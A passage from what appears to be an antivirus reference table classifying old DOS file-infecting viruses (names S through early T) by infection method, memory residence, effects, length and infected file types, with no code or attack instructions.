¦SillyRC.140 ¦INT ¦INTB¦ - ¦140 ¦ C ¦ e ¦ L ¦
¦SillyRC.143 ¦INT ¦ADDR¦ - ¦143 ¦ C ¦ e ¦ L ¦
¦SillyRC.144 ¦INT ¦INTB¦ - ¦144 ¦ C ¦ e ¦ L ¦
¦SillyRC.152 ¦INT ¦INTB¦ - ¦152 ¦ C ¦ s ¦ L ¦
¦SillyRC.169 ¦INT ¦INTB¦ - ¦169 ¦ C ¦ e ¦ L ¦
¦SillyRC.178 ¦INT ¦INTB¦ - ¦178 ¦ C ¦ e ¦ L ¦
¦SillyRC.200 ¦INT ¦INTB¦ - ¦200 ¦ C ¦ e ¦ L ¦
¦SillyRC.212 ¦INT ¦DOSD¦ - ¦212 ¦ C ¦ e ¦ L ¦
¦SillyRC.224 ¦INT ¦INTB¦ - ¦224 ¦ C ¦ e ¦ L ¦
¦SillyRC.239 ¦INT ¦INTB¦ - ¦239 ¦ C ¦ s ¦ L ¦
¦SillyRC.240 ¦INT ¦INTB¦ - ¦240 ¦ C ¦ s ¦ L ¦
¦SillyRC.261 ¦INT ¦MCB ¦ - ¦261 ¦ C ¦ e ¦ L ¦
¦SillyRC.264 ¦INT ¦MCB ¦ - ¦264 ¦ C ¦ e ¦ L ¦
¦SillyRC.274 ¦INT ¦INTB¦ - ¦274 ¦ C ¦ e ¦ L ¦
¦SillyRC.286 ¦INT ¦INTB¦ V ¦286 ¦ C ¦ e ¦ L ¦
¦SillyRC.291 ¦INT ¦MCB ¦ - ¦291 ¦ C ¦ s ¦ L ¦
¦SillyRC.302 ¦INT ¦MCB ¦ - ¦302 ¦ C ¦ e ¦ L ¦
¦SillyRC.315 ¦INT ¦INTB¦ - ¦315 ¦ C ¦ e ¦ L ¦
¦SillyRC.316 ¦INT ¦INTB¦ - ¦316 ¦ C ¦ s ¦ L ++ ¦
¦SillyRC.319 ¦INT ¦INTB¦ - ¦319 ¦ C ¦ e ¦ L ¦
¦SillyRC.335 ¦INT ¦MCB ¦ - ¦335 ¦ C ¦ e ¦ L ¦
¦SillyRC.370 ¦INT ¦MCB ¦ - ¦370 ¦ C ¦ e ¦ L ¦
¦SillyRC.387 ¦INT ¦MCB ¦ - ¦387 ¦ C ¦ s ¦ L ¦
¦SillyRC.402 ¦INT ¦ADDR¦ Er ¦402 ¦ C ¦ e ¦ L ¦
¦SillyRC.403 ¦INT ¦MCB ¦ - ¦403 ¦ C ¦ e ¦ L+p ¦
¦SillyRC.414 ¦INT ¦MCB ¦ - ¦414 ¦ C ¦ e ¦ L ¦
¦SillyRC.419 ¦INT ¦MCB ¦ - ¦419 ¦ C ¦ e ¦ L ¦
¦SillyRC.438 ¦INT ¦MCB ¦ H ¦438 ¦ .C * ¦ e ¦ L ¦
¦SillyRC.484 ¦INT ¦MCB ¦ - ¦484 ¦ .C ¦ i ¦ L ¦
¦SillyRC.509 ¦INFI¦MCB ¦ - ¦509 ¦ .C ¦ e ¦ L ¦
¦SillyRC.538 ¦INT ¦MCB ¦ H ¦538 ¦ C ¦ e ¦ L ¦
¦SillyRC.588 ¦INT ¦MCB ¦ - ¦588 ¦ C ¦ s ¦ L ¦
¦SillyRC.613 ¦INT ¦INTB¦ - ¦613 ¦ C ¦ e ¦ L ¦
¦SillyRC.855 ¦INT ¦MCB ¦ - ¦855 ¦ C ¦ e ¦ L ¦
¦SillyRC.936 ¦INT ¦MCB ¦ Ch ¦936 ¦ C ¦ e ¦ L+p ¦
¦SillyRC.1079 ¦INT ¦MCB ¦ - ¦1079 ¦ C ¦ e ¦ L ¦
¦SillyRC.3000 ¦INFI¦MCB ¦ Er ¦3000 ¦ .C ¦ e ¦ L ¦
¦- - - - - - - -+- - + - -+ - -+ - - + - - - - - + - - + - - - - - - - - -¦
¦SillyRCE.374 ¦INT ¦MCB ¦ - ¦374 ¦ CE ¦ e ¦ L ¦
¦SillyRCE.428 ¦INT ¦INTB¦ Er ¦428 ¦ CE ¦ e ¦ L ¦
¦SillyRCE.601 ¦INT ¦MCB ¦ - ¦601 ¦ CE ¦ e ¦ L ¦
¦SillyRCE.604 ¦INT ¦MCB ¦ - ¦604 ¦ CE ¦ e ¦ L ¦
¦SillyRCE.822 ¦INT ¦MCB ¦ Er ¦822 ¦ CE * ¦ e ¦ L ¦
¦SillyRCE.947 ¦INT ¦ADDR¦ Er ¦947 ¦ CE ¦ e ¦ C-L, E-L+p ¦
¦SillyRCE.972 ¦INT ¦KEEP¦ HEr¦972 ¦ CEO * ¦ e ¦ L+p ¦
¦SillyRCE.1055 ¦INT ¦MCB ¦ - ¦1055 ¦ CE * ¦ e ¦ L+p ¦
¦SillyRCE.1277 ¦INT ¦MCB ¦ - ¦1277 ¦ .C.E&CE ¦ e ¦ L ¦
¦SillyRCE.1320 ¦INT ¦MCB ¦ - ¦1320 ¦ .C.E&CE ¦ e ¦ L+p ¦
¦SillyRCE.2101 ¦INT ¦MCB ¦ - ¦2101 ¦ .C.E&CE ¦ e ¦ C-L, E-L+514 ¦
¦SillyRCE.2145 ¦INT ¦MCB ¦ Er ¦2145 ¦ .C.E&E ¦ e ¦ L ¦
¦- - - - - - - -+- - + - -+ - -+ - - + - - - - - + - - + - - - - - - - - -¦
¦SillyRE.323 ¦INT ¦INTB¦ - ¦323 ¦ .E&E ¦ e ¦ L ¦
¦SillyRE.334 ¦INT ¦MCB ¦ - ¦334 ¦ .E&E ¦ e ¦ L+p ¦
¦SillyRE.488 ¦INT ¦INTB¦ H ¦488 ¦ E * ¦ e ¦ L+p ¦
¦SillyRE.525 ¦INT ¦MCB ¦ V ¦525 ¦ E * ¦ e ¦ L ¦
¦SillyRE.528 ¦INT ¦MCB ¦ Er ¦528 ¦ E ¦ e ¦ L ¦
¦SillyRE.666 ¦INT ¦MCB ¦ H ¦666 ¦ .E&E * ¦ e ¦ L ¦
¦SillyRE.814 ¦INT ¦MCB ¦ Ch ¦814 ¦ E * ¦ e ¦ L ¦
¦SillyRE.991 ¦INT ¦MCB ¦ Er ¦991 ¦ .E&E ¦ e ¦ L+p ¦
¦SillyRE.3072 ¦INT ¦MCB ¦ - ¦3072 ¦ E ¦ e ¦ L+p ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Singapore.521 ¦FIND¦ - ¦ - ¦521 ¦ .C * ¦ e ¦ L ¦
¦Singapore.534 ¦FIND¦ - ¦ - ¦534 ¦ .C * ¦ e ¦ L ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Siskin.463 ¦INT ¦INTB¦ V ¦463 ¦ .C ¦ e ¦ L ¦
¦Siskin.839 ¦INT ¦MCB ¦ S ¦839 ¦ CEO ¦ e ¦ L ¦
¦Siskin.948 ¦INT ¦MCB ¦ S ¦948 ¦ CEO ¦ e ¦ L ¦
¦Siskin.966 ¦INT ¦MCB ¦ S ¦966 ¦ CEO ¦ e ¦ L ¦
¦Siskin.1017 ¦INT ¦MCB ¦ S ¦1017 ¦ CEO ¦ e ¦ L ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Sistor.1000 ¦INT ¦MCB ¦ - ¦1000 ¦ .C.E&CE ¦ e ¦ L ¦
¦Sistor.1149 ¦INT ¦MCB ¦ - ¦1149 ¦ .C.E&CE ¦ e ¦ L ¦
¦Sistor.2225 ¦INT ¦MCB ¦ V ¦2225 ¦ .C.E ¦ e ¦ L ¦
¦Sistor.2380 ¦INT ¦MCB ¦ V ¦2380 ¦ .C.E ¦ e ¦ L ¦
¦Sistor.2605 ¦INT ¦MCB ¦ V ¦2605 ¦ .C.E ¦ e ¦ L ¦
¦Sistor.2630 ¦INT ¦MCB ¦ V ¦2630 ¦ .C.E ¦ e ¦ L ¦
¦Sistor.3009 ¦INT ¦MCB ¦ V ¦3009 ¦ .C.E ¦ e ¦ L ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Skew.445 ¦INT ¦INTB¦ V ¦445 ¦ E * ¦ e ¦ L+p ¦
¦Skew.458 ¦INT ¦INTB¦ V ¦458 ¦ C * ¦ e ¦ L ¦
¦Skew.469 ¦INT ¦INTB¦ V ¦469 ¦ E * ¦ e ¦ L+p ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Smvb.708 ¦INT ¦KEEP¦ Ch ¦708 ¦ .C ¦ s ¦ L ¦
¦Smvb.1023 ¦INT ¦KEEP¦ Ch ¦1023 ¦ .C ¦ s ¦ L ¦
¦Smvb.1100 ¦INT ¦KEEP¦ Ch ¦1100 ¦ .C ¦ s ¦ L ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Sl.142 ¦INT ¦DOSD¦ Ch ¦142 ¦ C * ¦ s ¦ L ¦
¦Sl.155 ¦INT ¦DOSD¦ - ¦155 ¦ C * ¦ s ¦ L ¦
¦Sl.181 ¦INT ¦DOSD¦ - ¦181 ¦ C * ¦ s ¦ L ¦
¦Sl.200 (2)¦INT ¦DOSD¦ - ¦200 ¦ C * ¦ s ¦ L ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Slava.492 ¦INT ¦MCB ¦ - ¦492 ¦ .C&C* ¦ e ¦ L+p ¦
¦Slava.500 ¦INT ¦MCB ¦ - ¦500 ¦ .C&C* ¦ e ¦ L+p ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Slovakia.1056 ¦FIND¦ - ¦ - ¦1056 ¦ .C ¦ e ¦ L+? ¦
¦Slovakia.1698 ¦FIND¦ - ¦ V ¦1698 ¦ .C ¦ e ¦ L+? ¦
¦Slovakia.2372 ¦FIND¦ - ¦ V ¦2372 ¦ .E ¦ e ¦ L+p+? ¦
¦Slovakia.2387 ¦FIND¦ - ¦ V ¦2387 ¦ .E ¦ e ¦ L+p+? ¦
¦Slovakia.3584(3)INT ¦MCB ¦ HV ¦3584 ¦ CE * ¦ e ¦ L ¦
¦Slovakia.Kill ¦INT ¦MCB ¦ H ¦3584 ¦ CE * ¦ e ¦ L ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Small.92 ¦INT ¦INTB¦ - ¦92 ¦ C ¦ s ¦ L ¦
¦Small.100 ¦INT ¦INTB¦ Er ¦100 ¦ C ¦ s ¦ L ¦
¦Small.125 (2)¦FIND¦ - ¦ - ¦125 ¦ .C ¦ s ¦ L ¦
¦Small.127 ¦INT ¦INTB¦ Er ¦127 ¦ CO ¦ e ¦ L ¦
¦Small.128 (2)¦INT ¦INTB¦ - ¦128 ¦ C ¦ e ¦ L ¦
¦Small.137 ¦INT ¦INTB¦ Er ¦137 ¦ C ¦ s ¦ L ¦
¦Small.187 ¦INT ¦MCB ¦ - ¦187 ¦ C ¦ s ¦ L ¦
¦Small.307 ¦INT ¦INTB¦ - ¦307 ¦ C ¦ e ¦ L ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦SMEG-based viruses ¦
¦- - - - - - - -+- - + - -+ - -+ - - + - - - - - + - - + - - - - - - - - -¦
¦SMEG.Pathogen. ¦ ¦ ¦ ¦ ¦ ¦ ¦ ¦
¦ 3732 ¦INT ¦MCB ¦ HV ¦3732 ¦ CE * ¦ e ¦ L+p+? ¦
¦.Queeg.3756 ¦INT ¦MCB ¦ HV ¦3756 ¦ CE * ¦ e ¦ L+p+? ¦
¦.Trivia.2437 ¦FIND¦ - ¦ V ¦2437 ¦ .C&C * ¦ e ¦ L+p+? ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Solar.100 ¦INT ¦INTB¦ - ¦100 ¦ E ¦ e ¦ L ¦
¦Solar.102 ¦INT ¦INTB¦ - ¦102 ¦ E ¦ e ¦ L ¦
¦Solar.122 ¦INT ¦INTB¦ - ¦122 ¦ E ¦ e ¦ L ¦
¦Solar.512 ¦INT ¦INTB¦ Ch ¦512 ¦ E ¦ e ¦ L+p ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Sov.1193 ¦INT ¦MCB ¦ V ¦1193 ¦ C * ¦ e ¦ L+p ¦
¦Sov.1205 ¦INT ¦MCB ¦ V ¦1205 ¦ C * ¦ e ¦ L+p ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Spanska.1000 ¦FIND¦ - ¦ V ¦1000 ¦ .C * ¦ e ¦ L ¦
¦Spanska.1120(2)¦FIND¦ - ¦ HV ¦1120 ¦ .C * ¦ e ¦ L ¦
¦Spanska.1500 ¦FIND¦ - ¦ V ¦1500 ¦ .C.E * ¦ e ¦ L ¦
¦Spanska.4250 ¦INT ¦MCB ¦ V ¦4250 ¦ CE * ¦ e ¦ L ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Srp.2248 ¦FIND¦ - ¦ S ¦2248 ¦ .E * ¦ e ¦ L+16+p ¦
¦Srp.2296 ¦FIND¦ - ¦ V ¦2296 ¦ .E * ¦ e ¦ L+16+p ¦
¦Srp.2380 ¦FIND¦ - ¦ V ¦2380 ¦ .E * ¦ e ¦ L+16+p ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Stardot.789 ¦FIND¦ - ¦ H ¦789 ¦ .C.E&CE ¦ e ¦ L+p ¦
¦Stardot.979 ¦FIND¦ - ¦ V ¦979 ¦ .C.E&CE* ¦ e ¦ L ++ ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Sunset.1079 ¦INT ¦MCB ¦ H ¦1079 ¦ CE * ¦ e ¦ L ¦
¦Sunset.1081 ¦INT ¦MCB ¦ H ¦1081 ¦ CE * ¦ e ¦ L ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦SUPD.Cryptor ¦ ¦ ¦ ¦ ¦ ¦ ¦ ¦
¦ .2169¦FIND¦ - ¦ - ¦2169 ¦ .C&C * ¦ e ¦ L+? ¦
¦.Cryptor.2582 ¦FIND¦ - ¦ - ¦2582 ¦ .C&C * ¦ e ¦ L+? ¦
¦.Cryptor.3612 ¦FIND¦ - ¦ - ¦3612 ¦ .C&C * ¦ e ¦ L+? ¦
¦.Cryptor.3728 ¦FIND¦ - ¦ - ¦3728 ¦ .C&C * ¦ e ¦ L+? ¦
¦.Voyager ¦INT ¦MCB ¦ - ¦3049 ¦ CE * ¦ e ¦ L+? ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Supervisor.1039¦FIND¦ - ¦ - ¦1039 ¦ .C.E ¦ e ¦ L+p ¦
¦Supervisor.2906¦INT ¦MCB ¦ HV ¦2906 ¦ .C.E&CE* ¦ e ¦ L+p ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦SVC.1064 (2)¦INT ¦MCB ¦ - ¦1064 ¦ CE * ¦ e ¦ L ¦
¦SVC.1689 (2)¦INT ¦MCB ¦ - ¦1689 ¦ CE * ¦ e ¦ L ¦
¦SVC.1740 ¦INT ¦MCB ¦ - ¦1740 ¦ CE * ¦ e ¦ L ¦
¦SVC.3103 (3)¦INT ¦MCB ¦ - ¦3103 ¦ CE * ¦ e ¦ L ¦
¦SVC.3112 ¦INT ¦MCB ¦ - ¦3112 ¦ CE ¦ e ¦ L ¦
¦SVC.4644 (2)¦INT ¦MCB ¦ - ¦4644 ¦ CEOS+boot ¦ e ¦ L ¦
¦SVC.4661 ¦INT ¦MCB ¦ - ¦4661 ¦ CEOS+boot ¦ e ¦ L ¦
¦SVC.4677 ¦INT ¦MCB ¦ - ¦4677 ¦ CEOS+boot ¦ e ¦ L ¦
¦.Svetlana.1110 ¦INT ¦MCB ¦ - ¦1110 ¦ CE * ¦ e ¦ L ¦
¦.Svetlana.2060 ¦INT ¦MCB ¦ V ¦2060 ¦ CE * ¦ e ¦ L ¦
¦.Svetlana.3410 ¦INT ¦MCB ¦ V ¦3410 ¦ CE * ¦ e ¦ L ¦
¦.Svetlana.4734 ¦INT ¦MCB ¦ V ¦4734 ¦ CE * ¦ e ¦ L ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Sylvia.1321 ¦FIND¦ - ¦ V ¦1321 ¦ .C * ¦ s ¦ L ¦
¦Sylvia.1332 (3)¦FIND¦ - ¦ V ¦1332 ¦ .C * ¦ s ¦ L ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦SysLock.3551 ¦FIND¦ - ¦ Ch ¦3551 ¦ .C.E&CE ¦ e ¦ L+p ¦
¦SysLock.Cookie ¦FIND¦ - ¦ HV ¦2232 ¦ CE * ¦ e ¦ L+p ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Sabotager.3133 ¦INT ¦ADDR¦ V ¦3133 ¦ CE * ¦ e ¦ C-L, E-L+2 ¦
¦Sandrine.445 ¦INT ¦KEEP¦ HV ¦445 ¦ .E * ¦ s ¦ L, companion ¦
¦Salman.2000 ¦FIND¦ - ¦ HV ¦2000 ¦ .E * ¦ e ¦ L+p ¦
¦Saratov.1790 ¦INT ¦MCB ¦ V ¦1790 ¦ .C.E&CE* ¦ e ¦ L+p ¦
¦Sara.1214 ¦FIND¦ - ¦ HMV¦1214 ¦ .C.E * ¦ s ¦ 0, overwrite ¦
¦Saturday14.669 ¦INT ¦MCB ¦ H ¦669 ¦ CE ¦ e ¦ L+p ¦
¦Sb.645 ¦FIND¦ - ¦ - ¦645 ¦ .C&C * ¦ e ¦ L+p ¦
¦Sch.461 ¦FIND¦ - ¦ - ¦461 ¦ .C * ¦ e ¦ L ¦
¦Schizo.398 ¦INT ¦INTB¦ - ¦398 ¦ C * ¦ e ¦ L ¦
¦Scitzo.1337 ¦INT ¦MCB ¦ - ¦1337 ¦ CE ¦ e ¦ L ¦
¦Scoundrel.3323 ¦INT ¦MCB ¦ V ¦3323 ¦ .C.E&CE* ¦ e ¦ L ¦
¦Scroll.600(1) ¦FIND¦ - ¦ V ¦600 ¦ .C * ¦ e ¦ L ¦
¦Scroll.600(2) ¦INT ¦MCB ¦ V ¦600 ¦ .C&C * ¦ e ¦ L ¦
¦Sds.1906 ¦INT ¦MCB ¦ H ¦1906 ¦ C * ¦ e ¦ L ¦
¦Search.308 ¦FIND¦ - ¦ - ¦308 ¦ .C ¦ e ¦ L ¦
¦Search.4148 ¦FIND¦ - ¦ V ¦4148 ¦ .C.E&CE* ¦ e ¦ C-L+p, E-L+139+p ¦
¦Sebo.2048 ¦INT ¦MCB ¦ S ¦2048 ¦ C * ¦ e ¦ L ¦
¦Select.1112 ¦INT ¦MCB ¦ VS ¦1112 ¦ E * ¦ e ¦ L ¦
¦Sept13.440 ¦FIND¦ - ¦ - ¦440 ¦ .C ¦ e ¦ L ¦
¦Serbu.3493 ¦INT ¦MCB ¦ V ¦3493 ¦ CE ¦ e ¦ L ¦
¦SerNo.1471 ¦FIND¦ - ¦ HV ¦1471 ¦ .E * ¦ e ¦ L+? ¦
¦Shaman.251 ¦FIND¦ - ¦ V ¦251 ¦ .C ¦ s ¦ L ¦
¦Shirley.4096 ¦INT ¦KEEP¦ - ¦4096 ¦ E * ¦ e ¦ L+p ¦
¦ShuHard.386 ¦INT ¦INTB¦ Ch ¦386 ¦ C ¦ e ¦ L ¦
¦SI.492 ¦INT ¦INTB¦ H ¦492 ¦ .C&C ¦ e ¦ L ¦
¦Sign.615 ¦FIND¦ - ¦ - ¦615 ¦ .C ¦ e ¦ L ¦
¦SillyWilly.2256¦FIND¦ - ¦ HV ¦2256 ¦ .C * ¦ e ¦ L+? ¦
¦Sily.745 ¦INT ¦MCB ¦ V ¦745 ¦ E * ¦ e ¦ L+p ¦
¦Simulation ¦FIND¦ - ¦ V ¦1205 ¦ .C * ¦ e ¦ L+? ¦
¦Sirius.1081 ¦INT ¦MCB ¦ - ¦1081 ¦ C ¦ e ¦ L ¦
¦Slug.872 ¦INT ¦MCB ¦ HV ¦872 ¦ .C&C ¦ e ¦ L ¦
¦Sly ¦INT ¦ - ¦ H ¦512 ¦ E+boot* ¦ s ¦ 0, overwrite * ¦
¦Smile.4320 ¦INT ¦MCB ¦ S ¦4320 ¦ .C.E+boot*¦ s ¦ L ¦
¦Smoker.631 ¦INT ¦MCB ¦ - ¦631 ¦ CE * ¦ e ¦ L ¦
¦Sms.480 ¦INT ¦INTB¦ - ¦480 ¦ C ¦ s ¦ L ¦
¦Snap.228 ¦FIND¦ - ¦ Er ¦228 ¦ .C * ¦ s ¦ L ¦
¦Snowfall.5000(2¦INT ¦MCB ¦ HV ¦5000 ¦ .C.E&CE* ¦ s ¦ L ¦
¦Sochi.703 ¦FIND¦ - ¦ HV ¦703 ¦ .C * ¦ se ¦ L ¦
¦Sosun.232 ¦INT ¦INTB¦ - ¦232 ¦ C * ¦ s ¦ L ¦
¦Sova.4060 ¦INT ¦MCB ¦ H ¦4060 ¦ .C.E&CE* ¦ e ¦ L ¦
¦SoulMan.5536 ¦INT ¦MCB ¦ - ¦5536 ¦ E * ¦ e ¦ L+p ¦
¦Sparse.3840 ¦INT ¦MCB ¦ - ¦3840 ¦ .C ¦ s ¦ L ¦
¦Specified.2048 ¦INT ¦MCB ¦ H ¦2048 ¦ E * ¦ e ¦ L ¦
¦Spirit.1710 ¦INT ¦MCB ¦ H ¦1710 ¦ .C.E&CE* ¦CsEe ¦C-L+(0-1709),E-L+p¦
¦Split.250 ¦FIND¦ - ¦ H ¦250 ¦ .C * ¦ e ¦ L ¦
¦Spruce.976 ¦INT ¦MCB ¦ SEr¦976 ¦ .C.E* ¦ e ¦ C-L, E-L+(16-511)¦
¦SqL.953 ¦INT ¦MCB ¦ - ¦953 ¦ C ¦ e ¦ L+p ¦
¦Ssr.1945 (2)¦FIND¦ - ¦ VS ¦1945 ¦ .C * ¦ e ¦ L ¦
¦Sstr.717 ¦FIND¦ - ¦ - ¦717 ¦ .C&C* ¦ e ¦ L ¦
¦STan.1700 ¦INT ¦MCB ¦ V ¦1700 ¦ .C&C* ¦ s ¦ L ¦
¦Starcon.1057 ¦INT ¦MCB ¦ - ¦1057 ¦ .C&C* ¦ e ¦ L ¦
¦Storm.1153 ¦INT ¦MCB ¦ V ¦1153 ¦ .C&C ¦ e ¦ L ¦
¦Storyteller.3184INT ¦KEEP¦ V ¦3184 ¦ .E ¦ e ¦ L+p ¦
¦Stranger.734 ¦INT ¦MCB ¦ H ¦734 ¦ C ¦ i ¦ 0, insert ¦
¦Strip.1972 ¦INT ¦MCB ¦ Va ¦1972 ¦ C * ¦ e ¦ L ¦
¦Stuff.624 ¦FIND¦ - ¦ - ¦624 ¦ .C&C* ¦ e ¦ L ¦
¦Suburbs.393 ¦INT ¦INTB¦ - ¦393 ¦ C * ¦ e ¦ L ¦
¦Sum.1441 ¦INT ¦MCB ¦ - ¦1441 ¦ .C.E&CE* ¦ e ¦ C-L+(0-31), E-L+p¦
¦Swabia.2411 ¦INT ¦MCB ¦ V ¦2411 ¦ CE * ¦ e ¦ L+? ¦
¦Swamp.1394 ¦INT ¦MCB ¦ - ¦1394 ¦ .C.E* ¦ e ¦ C-L, E-L+p ¦
¦Swine.3000 (2)¦INT ¦MCB ¦ - ¦3000 ¦ CE * ¦ e ¦ L ¦
¦Switch.855 ¦FIND¦ - ¦ H ¦855 ¦ .C * ¦ e ¦ L ¦
¦Sword.794 ¦INT ¦MCB ¦ - ¦794 ¦ CE * ¦ e ¦ L ¦
¦Syrian.241 ¦INT ¦KEEP¦ HV ¦241 ¦ CEO * ¦ s ¦ 0, overwrite ¦
L===============¦====¦====¦====¦=====¦===========¦=====¦==================-
File infectors, part T
г===============T====T====T====T=====T===========T=====T==================¬
¦ Name ¦Inf.¦TSR ¦Eff ¦ Len ¦ Infected ¦Inf. ¦File's len growing¦
¦ ¦way ¦ ¦ects¦( L )¦ files ¦place¦ ¦
¦===============+====+====+====+=====+===========+=====+==================¦
¦TaiPan.437 ¦INT ¦MCB ¦ - ¦437 ¦ E * ¦ e ¦ L ¦
¦TaiPan.438 (2)¦INT ¦MCB ¦ - ¦438 ¦ E * ¦ e ¦ L ¦
¦.Hooze ¦INT ¦MCB ¦ V ¦513 ¦ E * ¦ e ¦ L ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Taz.987 ¦INT ¦MCB ¦ H ¦987 ¦ C * ¦ e ¦ L ¦
¦Taz.1041 ¦INT ¦MCB ¦ HV ¦1041 ¦ C * ¦ e ¦ L ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦TenBytes.1411 ¦INT ¦ADDR¦ H ¦1411 ¦ CE * ¦ e ¦ C-L+40+p, E-L+p ¦
¦TenBytes.1514 ¦INT ¦ADDR¦ H ¦1514 ¦ CE * ¦ e ¦ C-L+40+p, E-L+p ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Tequila ¦INT ¦MCB ¦ V ¦2468 ¦.E&E+boot *¦ e ¦ L ¦
¦.5volt ¦INT ¦MCB ¦ - ¦2659 ¦ .E&E * ¦ e ¦ L ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Terra.1027 ¦INT ¦KEEP¦ V ¦1027 ¦ .E * ¦ s ¦ L, companion ¦
¦Terra.1042 ¦INT ¦KEEP¦ V ¦1042 ¦ .E * ¦ s ¦ L, companion ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Tet.365 ¦FIND¦ - ¦ - ¦365 ¦ .C * ¦ e ¦ L ¦
¦Tet.393 ¦FIND¦ - ¦ - ¦393 ¦ .C * ¦ e ¦ L ¦
¦Tet.409 ¦FIND¦ - ¦ - ¦409 ¦ .C * ¦ e ¦ L ¦
¦Tet.474 ¦FIND¦ - ¦ - ¦474 ¦ .C * ¦ e ¦ L ¦
¦Tet.733 ¦FIND¦ - ¦ HV ¦733 ¦ .C * ¦ e ¦ L ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Tib.708 ¦INT ¦MCB ¦ Ch ¦708 ¦ C * ¦ e ¦ L ¦
¦Tib.713 ¦INT ¦MCB ¦ Ch ¦713 ¦ C * ¦ e ¦ L ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Tie.619 ¦INT ¦MCB ¦ - ¦619 ¦ C * ¦ e ¦ L ¦
¦Tie.710 ¦INT ¦MCB ¦ - ¦710 ¦ C * ¦ e ¦ L ¦
¦Tie.713 ¦INT ¦MCB ¦ - ¦713 ¦ C * ¦ e ¦ L ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Timid.305 ¦FIND¦ - ¦ V ¦305 ¦ .C ¦ e ¦ L ¦
¦Timid.526 (2)¦FIND¦ - ¦ V ¦526 ¦ *.* * ¦ e ¦ L ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Tiny.92 ¦FIND¦ - ¦ - ¦92 ¦ C ¦ s ¦ L ¦
¦Tiny.114 (2)¦INT ¦INTB¦ - ¦114 ¦ C ¦ s ¦ L ¦
¦Tiny.118 ¦INT ¦INTB¦ - ¦118 ¦ C ¦ s ¦ L ¦
¦Tiny.122 ¦INT ¦INTB¦ - ¦122 ¦ C ¦ s ¦ L ¦
¦Tiny.129 ¦INT ¦INTB¦ - ¦129 ¦ C ¦ e ¦ L ¦
¦Tiny.134 ¦INT ¦DOSD¦ Er ¦134 ¦ C ¦ e ¦ L ¦
¦Tiny.138 ¦INT ¦DOSD¦ - ¦138 ¦ C ¦ e ¦ L ¦
¦Tiny.141 ¦INT ¦INTB¦ - ¦141 ¦ C ¦ e ¦ L ¦
¦Tiny.143 ¦INT ¦DOSD¦ - ¦143 ¦ C ¦ e ¦ L ¦
¦Tiny.154 ¦INT ¦DOSD¦ - ¦154 ¦ C ¦ e ¦ L ¦
¦Tiny.156 ¦INT ¦DOSD¦ - ¦156 ¦ C ¦ e ¦ L ¦
¦Tiny.158 ¦INT ¦DOSD¦ - ¦158 ¦ C ¦ e ¦ L ¦
¦Tiny.160 ¦INT ¦DOSD¦ - ¦160 ¦ C ¦ e ¦ L ¦
¦Tiny.167 ¦INT ¦DOSD¦ - ¦167 ¦ C ¦ e ¦ L ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Tmc.4829 ¦INT ¦MCB ¦ - ¦4829 ¦ CE * ¦ e ¦ L+? ¦
¦Tmc.5440 ¦INT ¦MCB ¦ - ¦5440 ¦ CE * ¦ e ¦ L+? ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Tormentor.358 ¦FIND¦ - ¦ - ¦358 ¦ .E&E * ¦ e ¦ L ¦
¦Tormentor.360 ¦FIND¦ - ¦ - ¦360 ¦ .E&E * ¦ e ¦ L ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦TPE-based viruses ¦
¦- - - - - - - -+- - + - -+ - -+ - - + - - - - - + - - + - - - - - - - - -¦
¦TPE.Bosnia ¦INT ¦MCB ¦ V ¦3112 ¦ .C.E&CE* ¦ e ¦ L+? ¦
¦.CivilWar.1979 ¦FIND¦ - ¦ - ¦1979 ¦ .C * ¦ e ¦ L+? ¦
¦.CivilWar.1994 ¦FIND¦ - ¦ - ¦1994 ¦ .C * ¦ e ¦ L+? ¦
¦.CivilWar.1997 ¦FIND¦ - ¦ - ¦1997 ¦ .C * ¦ e ¦ L+? ¦
¦.CivilWar.2049 ¦INT ¦MCB ¦ - ¦2049 ¦ .C * ¦ e ¦ L+? ¦
¦.Dgme.1758 ¦FIND¦ - ¦ - ¦1758 ¦ .C * ¦ s ¦ L+? ¦
¦.Dgme.2468 ¦FIND¦ - ¦ - ¦2468 ¦ .C * ¦ s ¦ L+? ¦
¦.Dgme.2518 ¦FIND¦ - ¦ - ¦2518 ¦ .C * ¦ s ¦ L+? ¦
¦.Gambit.2259 ¦INT ¦MCB ¦ Er ¦2259 ¦ .E * ¦ s ¦ L+?, companion ¦
¦.Girafe (2)¦INT ¦MCB ¦ V ¦3000 ¦ .C.E&CE* ¦ e ¦ L+? ¦
